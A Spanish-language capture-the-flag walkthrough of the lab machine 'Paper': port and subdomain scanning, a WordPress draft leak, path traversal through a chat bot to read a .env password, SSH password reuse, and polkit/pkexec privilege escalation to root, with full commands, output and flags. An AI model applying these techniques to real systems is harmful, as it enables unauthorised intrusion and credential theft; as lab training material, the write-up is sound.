Fecha de Resolución
En primer lugar y como en cualquier máquina, necesitamos información sobre la misma así que vamos a hacer un reconocimiento para identificar los posibles vectores de entrada.
Fase de Reconocimiento
Empezamos como siempre el reconocimiento de puertos lanzando un TCP SYN Port Scan
a la ip de la máquina.
Parámetro | Descripción |
---|---|
-p- | Escanea el rango completo de puertos (hasta el 65535) |
-sS | Realiza un escaneo de tipo SYN port scan |
–min-rate | Enviar paquetes no más lentos que 5000 por segundo |
–open | Mostrar sólo los puertos que esten abiertos |
-vvv | Triple verbose para ver en consola los resultados |
-n | No efectuar resolución DNS |
-Pn | No efectuar descubrimiento de hosts |
-oG | Guarda el output en un archivo con formato grepeable para usar la función extractPorts de S4vitar |
p3ntest1ng:~$ sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.143 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-06 09:06 CET
Initiating SYN Stealth Scan at 09:06
Scanning 10.10.11.143 [65535 ports]
Discovered open port 443/tcp on 10.10.11.143
Discovered open port 22/tcp on 10.10.11.143
Discovered open port 80/tcp on 10.10.11.143
Completed SYN Stealth Scan at 09:06, 12.80s elapsed (65535 total ports)
Nmap scan report for 10.10.11.143
Host is up, received user-set (0.10s latency).
Scanned at 2022-02-06 09:06:17 CET for 13s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds
Raw packets sent: 66042 (2.906MB) | Rcvd: 65999 (2.640MB)
Identificamos tres puertos abiertos:
Puerto | Descripción |
---|---|
22 | SSH - SSH o Secure Shell |
80 | HTTP - Servidor web |
443 | HTTPS - Servidor web |
Vamos a obtener más información con un escaneo específico sobre los puertos que hemos encontrado.
Parámetro | Descripción |
---|---|
-p | Escanea sobre los puertos especificados |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Determina la versión del servicio |
-oN | Guarda el output en un archivo con formato normal |
p3ntest1ng:~$ nmap -sCV -p22,80,443 10.10.11.143 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-06 09:09 CET
Nmap scan report for 10.10.11.143
Host is up (0.078s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 2048 10:05:ea:50:56:a6:00:cb:1c:9c:93:df:5f:83:e0:64 (RSA)
| 256 58:8c:82:1c:c6:63:2a:83:87:5c:2f:2b:4f:4d:c3:79 (ECDSA)
|_ 256 31:78:af:d1:3b:c4:2e:9d:60:4e:eb:5d:03:ec:a0:22 (ED25519)
80/tcp open http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-title: HTTP Server Test Page powered by CentOS
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
443/tcp open ssl/http Apache httpd 2.4.37 ((centos) OpenSSL/1.1.1k mod_fcgid/2.3.9)
|_http-generator: HTML Tidy for HTML5 for Linux version 5.7.28
|_http-title: HTTP Server Test Page powered by CentOS
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=Unspecified/countryName=US
| Subject Alternative Name: DNS:localhost.localdomain
| Not valid before: 2021-07-03T08:52:34
|_Not valid after: 2022-07-08T10:32:34
|_http-server-header: Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.89 seconds
Analicemos el puerto 80 con un script de reconocimiento HTTP básico de nmap.
Parámetro | Descripción |
---|---|
–script | Ejecución de scripts escritos en LUA. Usamos http-enum |
-p | Escanea sobre el puerto especificado |
-oN | Guarda el output en un archivo con formato normal |
p3ntest1ng:~$ nmap --script http-enum -p80 10.10.11.143 -oN webScan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-06 09:13 CET
Nmap scan report for 10.10.11.143
Host is up (0.054s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /icons/: Potentially interesting folder w/ directory listing
|_ /manual/: Potentially interesting folder
Nmap done: 1 IP address (1 host up) scanned in 16.42 seconds
No hay nada interesante que nos pueda servir, veamos cómo está construida la web con whatweb
:
p3ntest1ng:~$ whatweb http://10.10.11.143/
http://10.10.11.143/ [403 Forbidden] Apache[2.4.37][mod_fcgid/2.3.9], Country[RESERVED][ZZ], Email[webmaster@example.com], HTML5, HTTPServer[CentOS][Apache/2.4.37 (centos) OpenSSL/1.1.1k mod_fcgid/2.3.9], IP[10.10.11.143], MetaGenerator[HTML Tidy for HTML5 for Linux version 5.7.28], OpenSSL[1.1.1k], PoweredBy[CentOS], Title[HTTP Server Test Page powered by CentOS], UncommonHeaders[x-backend-server], X-Backend[office.paper]
Si nos fijamos en este resultado (no como yo… -al final lo entenderéis-), vemos que existe un servidor backend que apunta a un virtualhost concreto: X-Backend[office.paper]
Lo añadimos a nuestro archivo /etc/hosts
para poder visualizar el contenido en el navegador.
p3ntest1ng:~$ echo '10.10.11.143 office.paper' | sudo tee -a /etc/hosts
Probemos con wfuzz
a ver qué encontramos, primero con un diccionario pequeño y si no encuentro nada, usaré uno más grande.
Parámetro | Descripción |
---|---|
-c | Muestra el output en formato colorizado |
-w | Utiliza el diccionario especificado |
–hc=404 | Oculta todos los códigos de estado 404 |
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc=404 http://office.paper/FUZZ 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://office.paper/FUZZ
Total requests: 4614
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000011: 403 7 L 20 W 199 Ch ".hta"
000000012: 403 7 L 20 W 199 Ch ".htaccess"
000000013: 403 7 L 20 W 199 Ch ".htpasswd"
000000001: 200 234 L 1209 W 23701 Ch "http://office.paper/"
000000820: 403 7 L 20 W 199 Ch "cgi-bin/"
000002021: 301 1 L 0 W 1 Ch "index.php"
000002441: 301 7 L 20 W 235 Ch "manual"
000004495: 301 7 L 20 W 239 Ch "wp-content"
000004501: 301 7 L 20 W 240 Ch "wp-includes"
000004485: 301 7 L 20 W 237 Ch "wp-admin"
Total time: 65.32861
Processed Requests: 4614
Filtered Requests: 4604
Requests/sec.: 70.62755
Comprobemos también los posibles subdominios para este servidor web:
Parámetro | Descripción |
---|---|
-c | Mostrar el output en formato colorizado |
-w | Utiliza el diccionario especificado |
–hc=404 | Oculta los códigos de estado 404 |
-H | Realiza una consulta de tipo header |
-u | Especifica la URL para la consulta |
-t | Nos permite lanzar el comando con N threads |
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt --sc=200 -H "Host: FUZZ.office.paper" -u http://office.paper/ -t 100 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://office.paper/
Total requests: 114441
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000070: 200 507 L 13015 W 223163 Ch "chat"
Total time: 0
Processed Requests: 9231
Filtered Requests: 9230
Requests/sec.: 0
^C
Encontramos un subdominio chat
así que lo agregamos nuevamente a nuestro archivo /etc/hosts
Primero vamos a ver qué hay en http://10.10.11.143/
:
Aquí no parece que haya nada interesante, sólo es la plantilla por defecto del servidor web. Revisemos el virtualhost para ver qué hay.
Fase de Explotación
Vemos que estamos ante un Wordpress
de version 5.2.3
, por lo que podemos tratar de localizar vulnerabilidades con searchsploit
.
p3ntest1ng:~$ searchsploit wordpress 5.2.3
----------------------------------------------------------------------------- -------------------------------
Exploit Title | Path
----------------------------------------------------------------------------- -------------------------------
WordPress Core 5.2.3 - Cross-Site Host Modification | php/webapps/47361.pl
WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts | multiple/webapps/47690.md
WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service | php/dos/47800.py
WordPress Plugin DZS Videogallery < 8.60 - Multiple Vulnerabilities | php/webapps/39553.txt
WordPress Plugin iThemes Security < 7.0.3 - SQL Injection | php/webapps/44943.txt
WordPress Plugin Rest Google Maps < 7.11.18 - SQL Injection | php/webapps/48918.sh
----------------------------------------------------------------------------- -------------------------------
Shellcodes: No Results
Nos movemos al directorio donde tenemos instalado exploitdb
para localizar el archivo de la segunda vulnerabilidad.
p3ntest1ng:~$ cd /opt/exploitdb/exploits/multiple/webapps
p3ntest1ng:~$ cat 47690.md
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: 47690.md
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ So far we know that adding `?static=1` to a wordpress URL should leak its secret content
2 │
3 │ Here are a few ways to manipulate the returned entries:
4 │
5 │ - `order` with `asc` or `desc`
6 │ - `orderby`
7 │ - `m` with `m=YYYY`, `m=YYYYMM` or `m=YYYYMMDD` date format
8 │
9 │
10 │ In this case, simply reversing the order of the returned elements suffices and `http://wordpress.local/?static=1&order=asc` will show the secret content:
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Esta versión de Wordpress es vulnerable y con ello podemos filtrar información tal y como se indica en el documento:
[INT:DAY]
Inside the FBI, Agent Michael Scarn sits with his feet up on his desk. His robotic butler Dwigt….
# Secret Registration URL of new Employee chat system
http://chat.office.paper/register/8qozr226AhkCHZdyY
# I am keeping this draft unpublished, as unpublished drafts cannot be accessed by outsiders. I am not that ignorant, Nick.
# Also, stop looking at my drafts. Jeez!
Hemos descubierto un enlace al sistema de chat con el cual podemos registrarnos en la aplicación.
Una vez registrados, iniciamos sesión con nuestro nuevo usuario para acceder al chat.
Podemos ver que existe un canal llamado #general
al que están llegando mensajes. Echemos un vistazo.
Vemos que esta usuaria está comentando que podemos enviarle mensajes privados a un tal recyclops
del cual aparecen más mensajes arriba, como este:
Aquí descubrimos que kelly
forma parte del proyecto y nos revela que recyclops es un bot asignado por Dwight
al que podemos pedirle que realice ciertas tareas.
Lo primero es abrir un chat privado con el bot para ver qué cosas podemos hacer. Damos click en su nombre y en el icono de mensaje:
En este punto probamos poniendo una de las preguntas de ejemplo que vimos anteriormente, pero el bot no la entiende y nos invita a leer la ayuda con el comando help
Vemos que podemos listar y leer archivos del sistema con ayuda del bot escribiendo los comandos/órdenes de varias formas.
Probemos el comando list ../
para tratar de escapar del directorio sales
Conseguimos escapar y listar todo el contenido del directorio home
del usuario bajo el que se encuentra el bot.
Al intentar leer el archivo user.txt
nos dice que no tenemos permiso.
Hay un directorio que me llama la atención, de nombre hubot
, lo cual me hace pensar que ahí se aloja el código fuente o archivos relacionados. Tratemos de listarlo.
Qué interesante, encontramos un archivo .env
en el que por lo general se guardan TOKEN’s o variables importantes. Leamos el archivo con el bot:
<!=====Contents of file ../hubot/.env=====>
export ROCKETCHAT_URL='http://127.0.0.1:48320'
export ROCKETCHAT_USER=recyclops
export ROCKETCHAT_PASSWORD=Queenofblad3s!23
export ROCKETCHAT_USESSL=false
export RESPOND_TO_DM=true
export RESPOND_TO_EDITED=true
export PORT=8000
export BIND_ADDRESS=127.0.0.1
<!=====End of file ../hubot/.env=====>
Epa! Tenemos las credenciales de conexión al chat del usuario recyclops
(el bot). Anteriormente vimos que dicho usuario hacía mención a otro usuario de nombre Dwight
.
Podemos probar a ver si hay reutilización de contraseñas para conectarnos por SSH como el usuario dwight
:
p3ntest1ng:~$ ssh dwight@office.paper
The authenticity of host 'office.paper (10.10.11.143)' can't be established.
ECDSA key fingerprint is SHA256:2eiFA8VFQOZukubwDkd24z/kfLkdKlz4wkAa/lRN3Lg.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'office.paper' (ECDSA) to the list of known hosts.
dwight@office.paper's password:
Activate the web console with: systemctl enable --now cockpit.socket
Last login: Tue Feb 1 09:14:33 2022 from 10.10.14.23
[dwight@paper ~]$ ls
bot_restart.sh hubot pk.sh sales user.txt
[dwight@paper ~]$ cat user.txt
0baa09b7a49f6bc6950e5c32b0ea4b6f
[dwight@paper ~]$
Pues tenemos la flag del usuario así que echemos un vistazo para ver cómo podemos realizar la escalada de privilegios para conseguir acceso como root.
Escalada de Privilegios
Lo primero sería comprobar si tenemos algún permiso a nivel de sudo (nos pedirá la contraseña, la cual conocemos):
[dwight@paper ~]$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for dwight:
Sorry, user dwight may not run sudo on paper.
[dwight@paper ~]$ ls -la $(which pkexec)
32 -rwsr-xr-x. 1 root root 29816 May 11 2019 /usr/bin/pkexec
[dwight@paper ~]$ Pues ya estaría...no? xDD
Pero aun así, no tenemos permisos para ejecutar sudo.
De paso aprovecho para ver si en el sistema existe el SUID pkexec
con el que podríamos escalar privilegios fácilmente, y efectivamente existe.
Pero nosotros somos de la vieja escuela y aquí hacemos las cosas bien, ¿estamos?. Sigamos…
Vemos que existe un archivo pk.sh
y si lo analizamos podemos ver que crea un usuario hacked
con contraseña password
y permisos de administrador.
También comprueba la versión de polkit
y al final del script nos indica que podemos ejecutar su - hacked
y sudo su
para ganar acceso como root.
Lo ejecutamos y esperamos…si tarda mucho y no hace nada, lo ejecutamos de nuevo. En mi caso, por alguna extraña razón tuve que ejecutarlo tres veces.
[dwight@paper ~]$ ./pk.sh
[*] Vulnerable version of polkit found
[*] Determining dbus-send timing
[*] Attempting to create account
[*] New user hacked created with uid of 1005
[*] Adding password to /etc/shadow and enabling user
[*] Exploit complete!
[*] Run 'su - hacked', followed by 'sudo su' to gain root access
[dwight@paper ~]$ su - hacked
Password: password
[hacked@paper ~]$ sudo su
[sudo] password for hacked: password
[root@paper hacked]# whoami
root
[root@paper hacked]# cd /root
[root@paper ~]# ls
anaconda-ks.cfg initial-setup-ks.cfg root.txt
[root@paper ~]# cat root.txt
486726908b376d042dfb225f0ed02b6c
[root@paper ~]#
Y esta sería la escalada de privilegios tal y como estaba contemplada por el creador de la máquina, por lo tanto la damos por finalizada.
De esta máquina he aprendido lo importante que es fijarse en los detalles, y no lo digo por que haya cosas que sean difíciles, sino porque por culpa mía y por no fijarme bien, estuve un rato tratando de averiguar cómo llevar a cabo la intrusión, simplemente por no ver que en el output de whatweb me estaban dando el auténtico virtualhost de la máquina. Estaba obcecado en poner paper.htb, tal vez por costumbre, y claro en este virtualhost no encontraba más que la plantilla html por defecto, con la cuál no podía hacer nada obviamente. Las malas costumbres pueden hacernos perder un tiempo valioso…